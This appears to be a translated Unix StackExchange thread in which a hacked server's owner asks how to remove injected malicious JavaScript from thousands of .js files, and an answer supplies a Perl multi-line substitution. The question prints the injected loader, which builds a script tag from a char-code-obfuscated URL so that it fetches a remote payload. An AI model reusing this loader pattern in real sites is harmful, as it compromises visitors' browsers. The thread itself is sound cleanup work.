Sed

從文件中替換(刪除)多行

  • February 22, 2020

我的一個伺服器被黑了,他們在每個 js 文件的開頭添加了以下內容:

var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

我需要清理它們,但我不能手動清理它們,因為它們有數千個文件。

我正在努力尋找一個可行的解決方案,我讀到了 perl,我寫了這個:

perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js

我嘗試了 regex101 並且正則表達式匹配,該命令沒有給出錯誤,但沒有任何內容被替換……

perl將不得不“啜飲”整個文件以匹配\n字元,因此請使用以下-0777選項:

perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js

儘管對於被黑的伺服器,可能還有更多問題需要解決。

引用自:https://unix.stackexchange.com/questions/569082